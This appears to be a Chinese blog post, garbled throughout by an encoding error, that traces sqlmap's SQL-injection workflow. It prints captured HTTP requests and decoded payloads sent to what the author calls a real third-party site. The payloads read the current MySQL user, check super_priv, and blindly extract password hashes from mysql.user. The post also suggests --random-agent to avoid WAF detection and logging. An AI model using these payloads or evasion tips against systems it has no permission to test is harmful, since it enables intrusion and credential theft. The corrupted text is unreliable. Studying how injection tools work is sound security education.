聊一聊SQLMAP在進(jìn)行SQL注入時(shí)的整個(gè)流程
很多小伙伴在發(fā)現(xiàn)或者判斷出注入的時(shí)候,大多數(shù)選擇就是直接上sqlmap,結(jié)果往往也不盡人意,于是就有想法來(lái)寫(xiě)寫(xiě) sqlmap 從執(zhí)行到判斷注入,到底發(fā)生了什么?
本文就用我們看的見(jiàn)的角度來(lái)分析,看看sqlmap到底發(fā)送了什么payload,這些payload是怎么出來(lái)的,不深入代碼層面。
測(cè)試環(huán)境:
- sqlmap(1.3.6.58#dev)
- Burp Suite
- http://attack.com?1.php?id=1
測(cè)試方式
利用 sqlmap 的 proxy 參數(shù),我們將代理設(shè)置為 8080 端口用 burpsuite 進(jìn)行抓包。
- sqlmap.py -u "http://attack.com?1.php?id=1" --proxy="http://127.0.0.1:8080"
(測(cè)試了很久好像本地搭建的環(huán)境無(wú)法抓包,所以就找了有注入點(diǎn)的網(wǎng)站,漏洞已上報(bào)給漏洞平臺(tái))
抓取到的包如下 :
sqlmap 的準(zhǔn)備工作
我們也觀察到,sqlmap 默認(rèn)發(fā)送的 User-Agent 是這樣的。
- User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
所以為了避免被 waf 或者日志里面記錄,我們一般可以添加一個(gè) --random-agent 參數(shù)在后面。
首先我們的 sqlmap 會(huì)連續(xù)發(fā)送出很多數(shù)據(jù)包來(lái)檢測(cè)目標(biāo)網(wǎng)站是否穩(wěn)定:
- GET /xxxx.php?id=1 HTTP/1.1
- Host: www.xxxx.xxx
- Accept: */*
- User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
- Connection: close
- Cache-Control: no-cache
- [INFO] testing connection to the target URL
- [INFO] testing if the target URL content is stable
- [INFO] target URL content is stable
接下來(lái)會(huì)檢測(cè)是否為 dynamic,和上面的請(qǐng)求包相比,sqlmap 修改了 id 后面的值。
- GET /xxxx.php?id=2324 HTTP/1.1
- Host: www.xxx.xxx
- Accept: */*
- User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
- Connection: close
- Cache-Control: no-cache
- [INFO] testing if GET parameter 'id' is dynamic
看不懂這是什么騷操作,我們來(lái)看看源碼里面怎么說(shuō) (sqlmap\lib\controller\checks.py)。
- def checkDynParam(place, parameter, value):
- """
- This function checks if the URL parameter is dynamic. If it is
- dynamic, the content of the page differs, otherwise the
- dynamicity might depend on another parameter.
- """
根據(jù)輸出語(yǔ)句的關(guān)鍵詞查找,我追蹤到了這個(gè) checkDynParam 函數(shù),大概的作用就是修改我們現(xiàn)在獲取到的參數(shù)值,看修改前后的頁(yè)面返回是否相同(有的時(shí)候注入有多個(gè)參數(shù),那么有些無(wú)關(guān)緊要的參數(shù)修改后頁(yè)面是沒(méi)有變化的),若有變化(或者說(shuō)這個(gè)參數(shù)是真實(shí)有效的),sqlmap 才會(huì)走到下一步。
下一步的數(shù)據(jù)包和功能如下:
- GET /xxxx.php?id=1%27.%29%2C%2C.%28.%29%22 HTTP/1.1
- Host: www.xxx.xxx
- Accept: */*
- User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
- Connection: close
- Cache-Control: no-cache
- [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
我們將上面的 url 編碼解碼:
- /xxxx.php?id=1%27.%29%2C%2C.%28.%29%22
- /xxxx.php?id=1'.),,.(.)"
這幾個(gè)字符串就能判斷是 MySQL 數(shù)據(jù)庫(kù)?又是什么騷操作,再看看源碼吧 (sqlmap\lib\controller\ckecks.py):
- infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes()
找到了一條語(yǔ)句,跟蹤這個(gè) getErrorParsedDBMSes() 函數(shù)。
- def getErrorParsedDBMSes():
- """
- Parses the knowledge base htmlFp list and return its values
- formatted as a human readable string.
- @return: list of possible back-end DBMS based upon error messages
- parsing.
- @rtype: C{str}
- """
那么這個(gè)函數(shù)就是通過(guò)報(bào)錯(cuò)信息(就是上面的 payload) 來(lái)辨別數(shù)據(jù)庫(kù)的類(lèi)型,剛好我找的這個(gè)網(wǎng)站也是爆出了 MySQL 語(yǔ)句的錯(cuò)誤,然后就通過(guò)正則 (sqlmap/data/xml/errors.xml) 識(shí)別出來(lái)啦,篇幅原因源碼就不分析了。
sqlmap 的注入分析
- it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
- ecific for other DBMSes? [Y/n] Y
- for the remaining tests, do you want to include all tests for 'MySQL' extending
- provided level (1) and risk (1) values? [Y/n] Y
上面 sqlmap 已經(jīng)得到了數(shù)據(jù)庫(kù)的類(lèi)型并且參數(shù)也是有效的,接下來(lái)往下走 sqlmap 就開(kāi)始判斷注入了(這里直接用-v3 參數(shù)顯示 payload 更加的清晰)。
這一塊也是大家最需要搞清楚的一部分,很多小伙伴看著感覺(jué)有注入,哎,上 sqlmap,然后基本上一片紅,但是實(shí)際上,按照 sqlmap 對(duì)注入的分類(lèi),我們可以更加清晰的了解 sqlmap 到底做了什么,這些東西是從哪里出來(lái)。
首先要說(shuō)一下,sqlmap 有一個(gè) —technique 參數(shù),在運(yùn)行的整個(gè)過(guò)程中,也是按照這幾類(lèi)來(lái)檢測(cè)的:
- --technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
- B: Boolean-based blind SQL injection(布爾型注入)
- E: Error-based SQL injection(報(bào)錯(cuò)型注入)
- U: UNION query SQL injection(可聯(lián)合查詢(xún)注入)
- S: Stacked queries SQL injection(可多語(yǔ)句查詢(xún)注入)
- T: Time-based blind SQL injection(基于時(shí)間延遲注入)
- Q: inline_query SQL injection(內(nèi)聯(lián)注入)
對(duì)這幾種注入還不熟練于心的小伙伴們要好好補(bǔ)一下基礎(chǔ)。
那么這些主要的注入語(yǔ)句,我們可以在 sqlmap/data/xml/queries.xml 中查看了解,總結(jié)的還是挺全面的,這里截取一部分出來(lái)。
- <dbms value="MySQL">
- <cast query="CAST(%s AS CHAR)"/>
- <length query="CHAR_LENGTH(%s)"/>
- <isnull query="IFNULL(%s,' ')"/>
- <delimiter query=","/>
- <limit query="LIMIT %d,%d"/>
- <limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
- <limitgroupstart query="1"/>
- <limitgroupstop query="2"/>
- <limitstring query=" LIMIT "/>
- <order query="ORDER BY %s ASC"/>
- <count query="COUNT(%s)"/>
- <comment query="-- -" query2="/*" query3="#"/>
- <substring query="MID((%s),%d,%d)"/>
- <concatenate query="CONCAT(%s,%s)"/>
- <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
- <hex query="HEX(%s)"/>
- <inference query="ORD(MID((%s),%d,1))>%d"/>
- <banner query="VERSION()"/>
- <current_user query="CURRENT_USER()"/>
- <current_db query="DATABASE()"/>
- <hostname query="@@HOSTNAME"/>
- ......
- ......
- ......
對(duì)于每種類(lèi)型的注入語(yǔ)句需要如何組合,在 sqlmap/data/xml/payloads 下有六個(gè)文件,里面主要是定義了測(cè)試的名稱(chēng)(也就是我們控制臺(tái)中輸出的內(nèi)容)、風(fēng)險(xiǎn)等級(jí)、一些 payload 的位置等,了解一下就行了。
- <test>
- <title>Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom)</title>
- <stype>6</stype>
- <level>1</level>
- <risk>1</risk>
- <clause>1,2,3,4,5</clause>
- <where>1</where>
- <vector>[UNION]</vector>
- <request>
- <payload/>
- <comment>[GENERIC_SQL_COMMENT]</comment>
- <char>[CHAR]</char>
- <columns>[COLSTART]-[COLSTOP]</columns>
- </request>
- <response>
- <union/>
- </response>
- </test>
同目錄下還有一個(gè) boundaries.xml 文件,里面主要是定義了一些閉合的符號(hào),比方說(shuō)我們注入點(diǎn)需要閉合,添加單引號(hào)、雙引號(hào)、括號(hào)等一系列的組合方式,就是從這個(gè)文件當(dāng)中提取出來(lái)的。
- <boundary>
- <level>3</level>
- <clause>1</clause>
- <where>1,2</where>
- <ptype>3</ptype>
- <prefix>'))</prefix>
- <suffix> AND (('[RANDSTR]' LIKE '[RANDSTR]</suffix>
- </boundary>
所以梳理一下思路,我們最終會(huì)發(fā)送給目標(biāo)服務(wù)器的 payload,首先是需要閉合的 (boundaries.xml),然后從對(duì)應(yīng)的注入類(lèi)型的各種測(cè)試模板中提取相應(yīng)的參數(shù)(比如:boolean_blind.xml),然后在 queries.xml 中取出相應(yīng)的表達(dá)式,***通過(guò) tamper 的渲染,輸出我們最終的 payload,也就是我們的 -v3 參數(shù)。
sqlmap 的一些參數(shù)
我們主要分析以下兩個(gè)命令:
- --is-dba
- --passwords
命令主要是判斷 mysql 用戶的一些信息,當(dāng)我們發(fā)現(xiàn)注入可以利用的時(shí)候,下一步就是要看當(dāng)前用戶的權(quán)限看能有什么的操作了。
1. 判斷是否是 dba 權(quán)限
sqlmap 一共發(fā)了兩個(gè)請(qǐng)求包:
- GET /xxxx.php?id=-2478%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280xxxxxxx%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%2C0x7176786b71%29%2CNULL%2CNULL--%20HZdP HTTP/1.1
- Host: www.xxxx.xxx
- Accept: */*
- User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
- Connection: close
- Cache-Control: no-cache
- GET /xxxx.php?id=-6628%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CCONCAT%280x7178787871%2C%28CASE%20WHEN%20%28%28SELECT%20super_priv%20FROM%20mysql.user%20WHERE%20user%3D0xxxxxxxx%20LIMIT%200%2C1%29%3D0x59%29%20THEN%201%20ELSE%200%20END%29%2C0x7170627071%29--%20mOPV HTTP/1.1
- Host: www.xxxx.xxx
- Accept: */*
- User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
- Connection: close
- Cache-Control: no-cache
將 payload 解碼:
- /xxxx.php?id=-2478 UNION ALL SELECT NULL,CONCAT(0x71766a6271,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0xxxxx),NULL,NULL-- HZdP
- /xxxx.php?id=-6628 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7178787871,(CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=0xxxxx LIMIT 0,1)=0x59) THEN 1 ELSE 0 END),0x7170627071)-- mOPV
我們直接在 mysql 控制臺(tái)下執(zhí)行命令:
***個(gè)命令返回了用戶名, 0x71766a6271 解碼為 qvjbq,那么這一步我們可以提取出用戶名了。
第二個(gè)命令返回了 1 ,我們將查詢(xún)命令提取出來(lái):
- SELECT super_priv FROM mysql.user WHERE user=0xxxxx LIMIT 0,1
在 mysql 數(shù)據(jù)庫(kù)下的 user 表中查詢(xún) super_priv (超級(jí)權(quán)限)的值:
返回了 Y,所以我們判斷是否為 dba 的思路就是通過(guò)查看 mysql.user 下 super_priv 的值。
這個(gè)命令有一個(gè)坑,有的時(shí)候我們所注入的服務(wù)器上面并沒(méi)有 mysql 這個(gè)數(shù)據(jù)庫(kù),所以用這個(gè)命令的前提是 mysql 這個(gè)數(shù)據(jù)庫(kù)要存在。
2. 查詢(xún)密碼
抓的包:
- GET /xxx.php?id=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28DISTINCT%28authentication_string%29%29%20AS%20CHAR%29%2C0x20%29%20FROM%20mysql.user%20WHERE%20user%3D0x64623833323331%29%2C1%2C1%29%29%3E48 HTTP/1.1
- Host: www.xxxx.xxx
- Accept: */*
- User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
- Connection: close
- Cache-Control: no-cache
解碼:
- /xxxx.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(authentication_string)) AS CHAR),0x20) FROM mysql.user WHERE user=0xxxxx),1,1))>48
這里有個(gè)很有趣的地方,我的 sqlmap 是 1.3.6 的版本,不知道之前的是不是,他是從 mysql.user 中獲取 authentication_string 的值,但是很有趣的是,這個(gè)值只有在 mysql 版本 5.7 以上,password 才會(huì)變成 authentication_string,我們也可以從 queries.xml 中找到這條語(yǔ)句:
- <passwords>
- <inband query="SELECT user,authentication_string FROM mysql.user" condition="user"/>
- <blind query="SELECT DISTINCT(authentication_string) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
- </passwords>
發(fā)現(xiàn)默認(rèn)就是這個(gè) authentication_string,所以我們這里直接修改 queries.xml 中的語(yǔ)句,將查詢(xún)的列明改成 password 再測(cè)試一下。
后面測(cè)試發(fā)現(xiàn),我們?cè)跊](méi)有修改的情況下,sqlmap 也會(huì)跑出密碼,而且查看 payload 之后,sqlmap 先是查了 authentication_string,然后查了 password:
看下源碼,然后找到了( sqlmap/plugins/generic/users.py):
- values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False)
這里用 replace 將兩個(gè)列明進(jìn)行了替換,里面有個(gè) ifel 的語(yǔ)句,要是***次沒(méi)找到就會(huì)進(jìn)行替換,這樣我們的問(wèn)題就解決掉啦,sqlmap 還是想的挺周全的哈哈。
總結(jié)
sqlmap 里面的內(nèi)容實(shí)在是太多太多,想要摸索里面的內(nèi)容需要花費(fèi)大量的時(shí)間,當(dāng)然收獲也是成正比的,搞清楚sqlmap 的流程原理,對(duì)我們 sql 注入技術(shù)會(huì)有很大的提升。